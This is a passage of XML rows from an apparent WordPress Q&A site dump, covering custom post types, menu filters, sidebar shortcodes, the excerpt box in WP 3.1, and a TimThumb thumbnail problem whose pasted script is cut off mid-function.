  <row Id="14081" PostTypeId="2" ParentId="9702" CreationDate="2011-04-06T13:42:34.773" Score="0" ViewCount="" Body="&lt;p&gt;As @Bainternet stated above, the best way to get the functionality you need is through custom post types. By default, these posts will be separate from your main loop and will allow you to customize at the single, archive, and loop levels for this custom content, at the bare minimum.Thumbnails and descriptions are effortlessly possible in this structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your requirement for 'incomplete projects' is better handled as a tag, as this is a conditional state for the post. However, you are asking to link back to a category of projects, so if multiple projects will be long-standing as 'incomplete', different categories of projects may make sense to 'silo' complete projects from incomplete projects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For guidance, please see &lt;a href=&quot;http://codex.wordpress.org/Post_Types#Custom_Types&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Types#Custom_Types&lt;/a&gt; to get started with coding custom post types. This is the official Codex documentation on this topic and has been immensely useful for me as 'boilerplate' in the past. If you are not comfortable editing functions.php in your theme, &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; is fairly simple to pick up and use for this purpose. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="4443" LastActivityDate="2011-04-06T13:42:34.773" />
  <row Id="14082" PostTypeId="2" ParentId="13867" CreationDate="2011-04-06T13:51:06.947" Score="0" ViewCount="" Body="&lt;p&gt;The only way that I could think to do this would be to add a filter to &lt;code&gt;wp_nav_menu_items&lt;/code&gt;. Here is the code that I got to work (just add it to your themes functions.php file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_items', 'my_id_name_nav', 10, 2);&#xA;function my_id_name_nav($items,$args) {&#xA;  if( $args-&amp;gt;theme_location == 'primary' ) {&#xA;    preg_match_all('/&amp;lt;li id=&quot;menu-item-([0-9]+)&quot;([^&amp;gt;]+)&amp;gt;\s*&amp;lt;a href=&quot;([^&quot;]+)&quot;&amp;gt;([^&amp;lt;]+)&amp;lt;\/a&amp;gt;&amp;lt;\/li&amp;gt;/i', $items, $matches);&#xA;    $newItems = array();&#xA;    for($i=0; $i&amp;lt;count($matches[0]); $i++){&#xA;      $short = explode('/', $matches[3][$i]);&#xA;      $short = $short[count($short) - 2]; // if there is no trailing slash, subtract 1 instead of 2&#xA;      array_push($newItems, '&amp;lt;li id=&quot;menu-item-'. $short .'&quot;'. $matches[2][$i] .'&amp;gt;&amp;lt;a href=&quot;'. $matches[3][$i] .'&quot;&amp;gt;'. $matches[4][$i] .'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;');&#xA;    }&#xA;    return implode('', $newItems);&#xA;  } else {&#xA;    return $items;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It uses the last part of the url to create the page name for the id. So menu-item-2 for &lt;a href=&quot;http://yoursite.com/page1/page2/&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/page1/page2/&lt;/a&gt; would become menu-item-page2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;if( $args-&amp;gt;theme_location == 'primary' )&lt;/code&gt; is for targeting a specific menu. If you want to do this for all menus just remove the if else statement.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-04-06T13:51:06.947" />
  <row Id="14083" PostTypeId="2" ParentId="13925" CreationDate="2011-04-06T13:59:48.157" Score="1" ViewCount="" Body="&lt;p&gt;I have based my solution on &lt;code&gt;Jan Fabry's&lt;/code&gt; answer. I don't have widgets, but simple template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what I did is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Specified all the info that needs to appear in the sidebar within a page's content itself wrapped in &lt;code&gt;[sidebar_content]&lt;/code&gt; shortcode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Specified the following function in the functions.php. This expands all the content of &lt;code&gt;[sidebar_content]&lt;/code&gt;, but doesn't display anything, but instead saves it in the global variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $sidebar_content;&#xA;add_shortcode(&quot;sidebar_content&quot;, &quot;my_sidebar_content&quot;);&#xA;function my_sidebar_content($atts, $content = null){&#xA;    global $sidebar_content;&#xA;    if( !empty($content) ){&#xA;        $sidebar_content = do_shortcode($content);&#xA;    }&#xA;    return &quot;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;code&gt;sidebar.php&lt;/code&gt;. I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $sidebar_content;&#xA;if( isset($sidebar_content) &amp;amp;&amp;amp; !empty($sidebar_content) ){&#xA;  echo $sidebar_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-06T14:12:56.117" LastActivityDate="2011-04-06T14:12:56.117" CommentCount="2" />
  <row Id="14084" PostTypeId="1" CreationDate="2011-04-05T17:52:25.040" Score="0" ViewCount="74" Body="&lt;p&gt;somehow, I can't really crop the avatar image. I can drag around this &quot;box&quot; and make it smaller or bigger, which is besides pretty difficult, but this has apparently no affect to the final avatar. Actually I don't need the possibility to crop the avatar. Is there a way to turn that off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Sascha.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-06T14:48:41.563" Title="BuddyPresss: Can't crop the avatar" Tags="&lt;buddypress&gt;&lt;avatar&gt;" />
  <row Id="14085" PostTypeId="2" ParentId="14071" CreationDate="2011-04-06T14:49:06.167" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-yearly-archive/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-yearly-archive/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you want to code it yourself have a look at wp_get_archives&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_archives&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-06T14:49:06.167" CommentCount="1" />
  <row Id="14087" PostTypeId="1" AcceptedAnswerId="14088" CreationDate="2011-04-06T14:58:59.823" Score="0" ViewCount="141" Body="&lt;p&gt;My theme uses some custom options fields, like post excerpt, that were removed from the editor screen with WP 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand and support the intent to clean up the content workspaces. However, as a result of the 3.1 upgrade, I have had several support requests related to the fields that suddenly disappeared with 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I issued a tech bulletin informing my theme owners of the change and how to get the excerpts field back using the &quot;Screen options&quot; button, but its still an issue for many users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible, from functions.php, to reset the screen options for a given WP screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want to bring back the &quot;excerpts&quot; field to the post editor screen as well as the &quot;Posts&quot; selector when editing/creating &quot;Custom Menus&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I understand that these options can be manually configured via &quot;Screen options&quot;, but you might be surprised how many users have never seen or used that button :-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We tend to narrowly focus on the elements we are intent on working with at that instant and block out everything else. I do it myself and its human nature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps what we really need is a little electronic genie that whispers into our ear: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The field you are looking for, the&#xA;  one that was here before and is now&#xA;  gone, is behind that little button up&#xA;  there. Click it and you will open up a&#xA;  new wing of your WordPress world...and you will be better for it&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-06T15:44:56.993" LastActivityDate="2011-04-06T15:44:56.993" Title="How to programmatically bring back &quot;excerpts&quot; field in post editor in WP 3.1+" Tags="&lt;theme-development&gt;&lt;3.1&gt;&lt;excerpt&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="14088" PostTypeId="2" ParentId="14087" CreationDate="2011-04-06T15:18:52.957" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/troubleshooting-wordpress-31-master-list?replies=14&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/troubleshooting-wordpress-31-master-list?replies=14&lt;/a&gt;&#xA;a few posts down has instructions for default 'ON' options&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Change what's hidden by default&#xA;add_filter('default_hidden_meta_boxes', 'be_hidden_meta_boxes', 10, 2);&#xA;function be_hidden_meta_boxes($hidden, $screen) {&#xA;    if ( 'post' == $screen-&amp;gt;base || 'page' == $screen-&amp;gt;base )&#xA;        $hidden = array('slugdiv', 'trackbacksdiv', 'postexcerpt', 'commentstatusdiv', 'commentsdiv', 'authordiv', 'revisionsdiv');&#xA;        // removed 'postcustom',&#xA;    return $hidden;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-06T15:18:52.957" CommentCount="4" />
  <row Id="14089" PostTypeId="2" ParentId="14080" CreationDate="2011-04-06T15:26:17.473" Score="1" ViewCount="" Body="&lt;p&gt;I have a fancy function that i made just for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* Create taxomony term list of posts based on given year &#xA;*&#xA;* @param $year - (int) 4 digits - the year to return the list of. required&#xA;*&#xA;* @param $taxonomy - (string) the taxonomy name of which the retreve the terms. required&#xA;* &#xA;* @param $echo_out - (boolean) true - to echo false to return default false.&#xA;* &#xA;* @param $type - (array) of args that tels the function what to get.&#xA;*&#xA;* examples: &#xA;select dropdownlist:&#xA;'type' =&amp;gt; 'select', //(string)&#xA;'name' =&amp;gt; 'cat', //(string) name of the select dropdown.&#xA;'js' =&amp;gt; ture // (boolean) wheter or not to pring out onchange javascript redirect function.&#xA;&#xA;list:&#xA;'type' =&amp;gt; 'list', //(string)&#xA;'before_list' =&amp;gt; '&amp;lt;ul&amp;gt;', //(string) html tag (&amp;lt;ul&amp;gt;,&amp;lt;div&amp;gt; you can add classes here).&#xA;'after_list' =&amp;gt; '&amp;lt;/ul&amp;gt;', //(string) html tag (&amp;lt;/ul&amp;gt;,&amp;lt;/div&amp;gt;)&#xA;'before_link' =&amp;gt; '&amp;lt;li&amp;gt;', //(string) html tag (&amp;lt;li&amp;gt;,&amp;lt;div&amp;gt;,&amp;lt;span&amp;gt; you can add classes here).&#xA;'after_link' =&amp;gt; '&amp;lt;/li&amp;gt;' //(string) html tag (&amp;lt;/li&amp;gt;,&amp;lt;/div&amp;gt;,&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;).&#xA;&#xA;return array:&#xA;'type' =&amp;gt; 'return-list', //(string)&#xA;'return' =&amp;gt; 'ID' // (string) what to return (accepts ID or name).&#xA;&#xA;&#xA;&#xA;*/&#xA;function yearly_taxonomy_list($year,$type, $taxonomy,$echo_out = false){&#xA;&#xA;    $args = array(&#xA;        'year' =&amp;gt; $year,&#xA;        'posts_per_page' =&amp;gt; -1&#xA;    );&#xA;    $the_query = new WP_Query( $args );&#xA;    $cats = array();&#xA;    while ($the_query-&amp;gt;have_posts()){&#xA;        $the_query-&amp;gt;the_post();&#xA;        $curent_cats = wp_get_object_terms( $post-&amp;gt;ID, $taxonomy);&#xA;        foreach ($curent_cats as $c){&#xA;            if (!in_array($c,$cats)){&#xA;                $cats[] = $c;&#xA;            }&#xA;        }&#xA;    }&#xA;    //dropdown&#xA;    if (isset($type['type']) &amp;amp;&amp;amp; $type['type'] =='select'){&#xA;        $out = '&amp;lt;select name=&quot;'.$type['name'].'&quot; id=&quot;'.$type['name'].'&quot; &amp;gt;';&#xA;        foreach ($cats as $cd){&#xA;            $out .= '&amp;lt;option value='.get_term_link( $cd-&amp;gt;term_id, $taxonomy ).'&quot;&amp;gt;'.$cd-&amp;gt;name.'&amp;lt;/option&amp;gt;';&#xA;        }&#xA;        $out .= '&amp;lt;/select&amp;gt;';&#xA;&#xA;        if($type['js']){&#xA;            $js = '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            var dropdown = document.getElementById(&quot;'.$name.'&quot;);&#xA;            function onCatChange() {&#xA;                if ( dropdown.options[dropdown.selectedIndex].value &amp;gt; 0 ) {&#xA;                    location.href = dropdown.options[dropdown.selectedIndex].value;&#xA;                }&#xA;            }&#xA;            dropdown.onchange = onCatChange;&#xA;            &amp;lt;/script&amp;gt;';&#xA;            $out .=  $js;&#xA;        }&#xA;    }elseif (isset($type['type']) &amp;amp;&amp;amp; $type['type'] =='list'){&#xA;        $out = $type['before_list'];&#xA;        foreach ($cats as $cd){&#xA;            $out .= $type['before_link'].'&amp;lt;a href=&quot;'.get_term_link( $cd-&amp;gt;term_id, $taxonomy ).'&quot;&amp;gt;'.$cd-&amp;gt;name.'&amp;lt;/a&amp;gt;'.$type['after_link'];&#xA;        }&#xA;        $out .= $type['after_list'];&#xA;    }&#xA;    //return array&#xA;    elseif (isset($type['type']) &amp;amp;&amp;amp; $type['type'] =='return-list'){&#xA;        //array of  IDS&#xA;        if ($type['return'] =='ID'){&#xA;            foreach ($cats as $cd){&#xA;                $out[] = $cd-&amp;gt;term_id;&#xA;            }&#xA;        }&#xA;        //array of  names&#xA;        if ($type['return'] =='name'){&#xA;            foreach ($cats as $cd){&#xA;                $out[] = $cd-&amp;gt;name;&#xA;            }&#xA;        }&#xA;        return $out;&#xA;    }&#xA;    else{&#xA;        $out = 'something went worng';&#xA;    }&#xA;    if($echo_out){&#xA;        echo $out;&#xA;    }else{&#xA;        return $out;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// category dropdown with JavaScript OnChange redirect&#xA;$type=array('type' =&amp;gt; 'select', 'name' =&amp;gt; 'cat','js' =&amp;gt; ture );&#xA;yearly_taxonomy_list(2010,$type, 'category' ,true);&#xA;&#xA;//unordered list of categories&#xA;$type=array(&#xA;'type' =&amp;gt; 'list', &#xA;'before_list' =&amp;gt; '&amp;lt;ul class=&quot;yearly-cats&quot;&amp;gt;', &#xA;'after_list' =&amp;gt; '&amp;lt;/ul&amp;gt;', &#xA;'before_link' =&amp;gt; '&amp;lt;li&amp;gt;',&#xA;'after_link' =&amp;gt; '&amp;lt;/li&amp;gt;');&#xA;yearly_taxonomy_list(2010,$type, 'category' ,true);&#xA;&#xA;//return array ids of categories &#xA;$type=array('type' =&amp;gt; 'return-list', 'return' =&amp;gt; 'ID');&#xA;$cat_ids = yearly_taxonomy_list(2010,$type, 'category' ,true);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-06T16:35:59.667" LastActivityDate="2011-04-06T16:35:59.667" CommentCount="1" />
  <row Id="14090" PostTypeId="1" CreationDate="2011-04-06T15:30:08.640" Score="0" ViewCount="449" Body="&lt;p&gt;I am currently developing my new theme over at testing.detailsofmylife.net and I am using a WooThemes template as my basic design. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to try and include their WooTabs widget as graphically I think it is quite appealing for displaying post data to visitors. I know a lot of you aren't fond of TimThumb but it is the script that the theme uses to generate thumbnails so I need to try and get it working so the layout can finally work perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the widget on my site, two of the thumbnails have not been generated by the TimThumb function, but I cannot fully understand why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a working thumbnail url looks like this in the widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://testing.detailsofmylife.net/wp-content/themes/headlines/thumb.php?src=http://testing.detailsofmylife.net/wp-content/uploads/2010/09/Claire-Maguire-Aint-Nobody-Breakage-Remix.jpg&amp;amp;w=50&amp;amp;h=50&amp;amp;zc=1&amp;amp;q=90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but a broken thumbnail url looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://testing.detailsofmylife.net/wp-content/themes/headlines/thumb.php?src=http://media.detailsofmylife.net/uploads/2010/04/flux+pavilion.jpg&amp;amp;w=50&amp;amp;h=50&amp;amp;zc=1&amp;amp;q=90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem occurs I think due to the location of the media, but I have added both domains to the list of external domains that are allowed to work with the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you check the image urls by themselves (&lt;a href=&quot;http://testing.detailsofmylife.net/wp-content/uploads/2010/09/Claire-Maguire-Aint-Nobody-Breakage-Remix.jpg&quot; rel=&quot;nofollow&quot;&gt;working&lt;/a&gt; v.s. &lt;a href=&quot;http://media.detailsofmylife.net/uploads/2010/04/flux+pavilion.jpg&quot; rel=&quot;nofollow&quot;&gt;not working&lt;/a&gt;) then you can see that they are both working correctly by themselves. Surely then they should both operate within the script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated as it is driving me slightly mental.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A copy of my code for TimThumb is available at the end of the post. If you need any other data/information let me know :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * TimThumb script created by Ben Gillbanks, originally created by Tim McDaniels and Darren Hoyt&#xA; * http://code.google.com/p/timthumb/&#xA; * &#xA; * GNU General Public License, version 2&#xA; * http://www.gnu.org/licenses/old-licenses/gpl-2.0.html&#xA; *&#xA; * Examples and documentation available on the project homepage&#xA; * http://www.binarymoon.co.uk/projects/timthumb/&#xA; */&#xA;&#xA;define ('CACHE_SIZE', 1000);                // number of files to store before clearing cache&#xA;define ('CACHE_CLEAR', 20);                 // maximum number of files to delete on each cache clear&#xA;define ('CACHE_USE', TRUE);                 // use the cache files? (mostly for testing)&#xA;define ('CACHE_MAX_AGE', 864000);           // time to cache in the browser&#xA;define ('VERSION', '1.26');                 // version number (to force a cache refresh)&#xA;define ('DIRECTORY_CACHE', './cache');      // cache directory&#xA;define ('MAX_WIDTH', 1500);                 // maximum image width&#xA;define ('MAX_HEIGHT', 1500);                // maximum image height&#xA;define ('ALLOW_EXTERNAL', FALSE);           // allow external website (override security precaution - not advised!)&#xA;define ('MEMORY_LIMIT', '30M');             // set PHP memory limit&#xA;define ('MAX_FILE_SIZE', 1500000);          // file size limit to prevent possible DOS attacks (roughly 1.5 megabytes)&#xA;define ('CURL_TIMEOUT', 10);                // timeout duration. Tweak as you require (lower = better)&#xA;&#xA;// external domains that are allowed to be displayed on your website&#xA;$allowedSites = array (&#xA;    'photobucket.com',&#xA;    'detailsofmylife.net',&#xA;    'testing.detailsofmylife.net',&#xA;    'detailsofmylife.net',&#xA;    'img.youtube.com',&#xA;    'media.detailsofmylife.net',&#xA;);&#xA;&#xA;// STOP MODIFYING HERE!&#xA;// --------------------&#xA;&#xA;// sort out image source&#xA;$src = get_request ('src', '');&#xA;if ($src == '' || strlen ($src) &amp;lt;= 3) {&#xA;    display_error ('no image specified');&#xA;}&#xA;&#xA;// clean params before use&#xA;$src = clean_source ($src);&#xA;&#xA;// get mime type of src&#xA;$mime_type = mime_type ($src);&#xA;&#xA;// used for external websites only&#xA;$external_data_string = '';&#xA;&#xA;// generic file handle for reading and writing to files&#xA;$fh = '';&#xA;&#xA;// check to see if this image is in the cache already&#xA;// if already cached then display the image and die&#xA;check_cache ($mime_type);&#xA;&#xA;// cache doesn't exist and then process everything&#xA;// check to see if GD function exist&#xA;if (!function_exists ('imagecreatetruecolor')) {&#xA;    display_error ('GD Library Error: imagecreatetruecolor does not exist - please contact your webhost and ask them to install the GD library');&#xA;}&#xA;&#xA;if (function_exists ('imagefilter') &amp;amp;&amp;amp; defined ('IMG_FILTER_NEGATE')) {&#xA;    $imageFilters = array (&#xA;        1 =&amp;gt; array (IMG_FILTER_NEGATE, 0),&#xA;        2 =&amp;gt; array (IMG_FILTER_GRAYSCALE, 0),&#xA;        3 =&amp;gt; array (IMG_FILTER_BRIGHTNESS, 1),&#xA;        4 =&amp;gt; array (IMG_FILTER_CONTRAST, 1),&#xA;        5 =&amp;gt; array (IMG_FILTER_COLORIZE, 4),&#xA;        6 =&amp;gt; array (IMG_FILTER_EDGEDETECT, 0),&#xA;        7 =&amp;gt; array (IMG_FILTER_EMBOSS, 0),&#xA;        8 =&amp;gt; array (IMG_FILTER_GAUSSIAN_BLUR, 0),&#xA;        9 =&amp;gt; array (IMG_FILTER_SELECTIVE_BLUR, 0),&#xA;        10 =&amp;gt; array (IMG_FILTER_MEAN_REMOVAL, 0),&#xA;        11 =&amp;gt; array (IMG_FILTER_SMOOTH, 0),&#xA;    );&#xA;}&#xA;&#xA;// get standard input properties&#xA;$new_width =  (int) abs (get_request ('w', 0));&#xA;$new_height = (int) abs (get_request ('h', 0));&#xA;$zoom_crop = (int) get_request ('zc', 0);&#xA;$quality = (int) abs (get_request ('q', 75));&#xA;$align = get_request ('a', 'c');&#xA;$filters = get_request ('f', '');&#xA;$sharpen = (bool) get_request ('s', 0);&#xA;&#xA;// set default width and height if neither are set already&#xA;if ($new_width == 0 &amp;amp;&amp;amp; $new_height == 0) {&#xA;    $new_width = 100;&#xA;    $new_height = 100;&#xA;}&#xA;&#xA;// ensure size limits can not be abused&#xA;$new_width = min ($new_width, MAX_WIDTH);&#xA;$new_height = min ($new_height, MAX_HEIGHT);&#xA;&#xA;// set memory limit to be able to have enough space to resize larger images&#xA;ini_set ('memory_limit', MEMORY_LIMIT);&#xA;&#xA;if (file_exists ($src)) {&#xA;&#xA;    // open the existing image&#xA;    $image = open_image ($mime_type, $src);&#xA;    if ($image === false) {&#xA;        display_error ('Unable to open image : ' . $src);&#xA;    }&#xA;&#xA;    // Get original width and height&#xA;    $width = imagesx ($image);&#xA;    $height = imagesy ($image);&#xA;    $origin_x = 0;&#xA;    $origin_y = 0;&#xA;&#xA;    // generate new w/h if not provided&#xA;    if ($new_width &amp;amp;&amp;amp; !$new_height) {&#xA;        $new_height = floor ($height * ($new_width / $width));&#xA;    } else if ($new_height &amp;amp;&amp;amp; !$new_width) {&#xA;        $new_width = floor ($width * ($new_height / $height));&#xA;    }&#xA;&#xA;    // scale down and add borders&#xA;    if ($zoom_crop == 3) {&#xA;&#xA;        $final_height = $height * ($new_width / $width);&#xA;&#xA;        if ($final_height &amp;gt; $new_height) {&#xA;            $new_width = $width * ($new_height / $height);&#xA;        } else {&#xA;            $new_height = $final_height;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    // create a new true color image&#xA;    $canvas = imagecreatetruecolor ($new_width, $new_height);&#xA;    imagealphablending ($canvas, false);&#xA;&#xA;    // Create a new transparent color for image&#xA;    $color = imagecolorallocatealpha ($canvas, 0, 0, 0, 127);&#xA;&#xA;    // Completely fill the background of the new image with allocated color.&#xA;    imagefill ($canvas, 0, 0, $color);&#xA;&#xA;    // scale down and add borders&#xA;    if ($zoom_crop == 2) {&#xA;&#xA;        $final_height = $height * ($new_width / $width);&#xA;&#xA;        if ($final_height &amp;gt; $new_height) {&#xA;&#xA;            $origin_x = $new_width / 2;&#xA;            $new_width = $width * ($new_height / $height);&#xA;            $origin_x = round ($origin_x - ($new_width / 2));&#xA;&#xA;        } else {&#xA;&#xA;            $origin_y = $new_height / 2;&#xA;            $new_height = $final_height;&#xA;            $origin_y = round ($origin_y - ($new_height / 2));&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    // Restore transparency blending&#xA;    imagesavealpha ($canvas, true);&#xA;&#xA;    if ($zoom_crop &amp;gt; 0) {&#xA;&#xA;        $src_x = $src_y = 0;&#xA;        $src_w = $width;&#xA;        $src_h = $height;&#xA;&#xA;        $cmp_x = $width / $new_width;&#xA;        $cmp_y = $height / $new_height;&#xA;&#xA;        // calculate x or y coordinate and width or height of source&#xA;        if ($cmp_x &amp;gt; $cmp_y) {&#xA;&#xA;            $src_w = round ($width / $cmp_x * $cmp_y);&#xA;            $src_x = round (($width - ($width / $cmp_x * $cmp_y)) / 2);&#xA;&#xA;        } else if ($cmp_y &amp;gt; $cmp_x) {&#xA;&#xA;            $src_h = round ($height / $cmp_y * $cmp_x);&#xA;            $src_y = round (($height - ($height / $cmp_y * $cmp_x)) / 2);&#xA;&#xA;        }&#xA;&#xA;        // positional cropping!&#xA;        switch ($align) {&#xA;            case 't':&#xA;            case 'tl':&#xA;            case 'lt':&#xA;            case 'tr':&#xA;            case 'rt':&#xA;                $src_y = 0;&#xA;                break;&#xA;&#xA;            case 'b':&#xA;            case 'bl':&#xA;            case 'lb':&#xA;            case 'br':&#xA;            case 'rb':&#xA;                $src_y = $height - $src_h;&#xA;                break;&#xA;&#xA;            case 'l':&#xA;            case 'tl':&#xA;            case 'lt':&#xA;            case 'bl':&#xA;            case 'lb':&#xA;                $src_x = 0;&#xA;                break;&#xA;&#xA;            case 'r':&#xA;            case 'tr':&#xA;            case 'rt':&#xA;            case 'br':&#xA;            case 'rb':&#xA;                $src_x = $width - $new_width;&#xA;                $src_x = $width - $src_w;&#xA;                break;&#xA;&#xA;            default:&#xA;                break;&#xA;        }&#xA;&#xA;        imagecopyresampled ($canvas, $image, $origin_x, $origin_y, $src_x, $src_y, $new_width, $new_height, $src_w, $src_h);&#xA;&#xA;    } else {&#xA;&#xA;        // copy and resize part of an image with resampling&#xA;        imagecopyresampled ($canvas, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);&#xA;&#xA;    }&#xA;&#xA;    if ($filters != '' &amp;amp;&amp;amp; function_exists ('imagefilter') &amp;amp;&amp;amp; defined ('IMG_FILTER_NEGATE')) {&#xA;        // apply filters to image&#xA;        $filterList = explode ('|', $filters);&#xA;        foreach ($filterList as $fl) {&#xA;&#xA;            $filterSettings = explode (',', $fl);&#xA;            if (isset ($imageFilters[$filterSettings[0]])) {&#xA;&#xA;                for ($i = 0; $i &amp;lt; 4; $i ++) {&#xA;                    if (!isset ($filterSettings[$i])) {&#xA;                        $filterSettings[$i] = null;&#xA;                    } else {&#xA;                        $filterSettings[$i] = (int) $filterSettings[$i];&#xA;                    }&#xA;                }&#xA;&#xA;                switch ($imageFilters[$filterSettings[0]][1]) {&#xA;&#xA;                    case 1:&#xA;&#xA;                        imagefilter ($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1]);&#xA;                        break;&#xA;&#xA;                    case 2:&#xA;&#xA;                        imagefilter ($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2]);&#xA;                        break;&#xA;&#xA;                    case 3:&#xA;&#xA;                        imagefilter ($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2], $filterSettings[3]);&#xA;                        break;&#xA;&#xA;                    case 4:&#xA;&#xA;                        imagefilter ($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2], $filterSettings[3], $filterSettings[4]);&#xA;                        break;&#xA;&#xA;                    default:&#xA;&#xA;                        imagefilter ($canvas, $imageFilters[$filterSettings[0]][0]);&#xA;                        break;&#xA;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    // sharpen image&#xA;    if ($sharpen &amp;amp;&amp;amp; function_exists ('imageconvolution')) {&#xA;&#xA;        $sharpenMatrix = array (&#xA;            array (-1,-1,-1),&#xA;            array (-1,16,-1),&#xA;            array (-1,-1,-1),&#xA;        );&#xA;&#xA;        $divisor = 8;&#xA;        $offset = 0;&#xA;&#xA;        imageconvolution ($canvas, $sharpenMatrix, $divisor, $offset);&#xA;&#xA;    }&#xA;&#xA;    // output image to browser based on mime type&#xA;    show_image ($mime_type, $canvas);&#xA;&#xA;    // remove image from memory&#xA;    imagedestroy ($canvas);&#xA;&#xA;    // if not in cache then clear some space and generate a new file&#xA;    clean_cache ();&#xA;&#xA;    die ();&#xA;&#xA;} else {&#xA;&#xA;    if (strlen ($src)) {&#xA;        display_error ('image ' . $src . ' not found');&#xA;    } else {&#xA;        display_error ('no source specified');&#xA;    }&#xA;&#xA;}&#xA;&#xA;&#xA;/**&#xA; *&#xA; * @global &amp;lt;type&amp;gt; $quality&#xA; * @param &amp;lt;type&amp;gt; $mime_type&#xA; * @param &amp;lt;type&amp;gt; $image_resized &#xA; */&#xA;function show_image ($mime_type, $image_resized) {&#xA;&#xA;    global $quality;&#xA;&#xA;    $cache_file = get_cache_file ($mime_type);&#xA;&#xA;    if (strpos ($mime_type, 'jpeg') &amp;gt; 1) {&#xA;        imagejpeg ($image_resized, $cache_file, $quality);&#xA;    } else {&#xA;        imagepng ($image_resized, $cache_file, floor ($quality * 0.09));&#xA;    }&#xA;&#xA;    show_cache_file 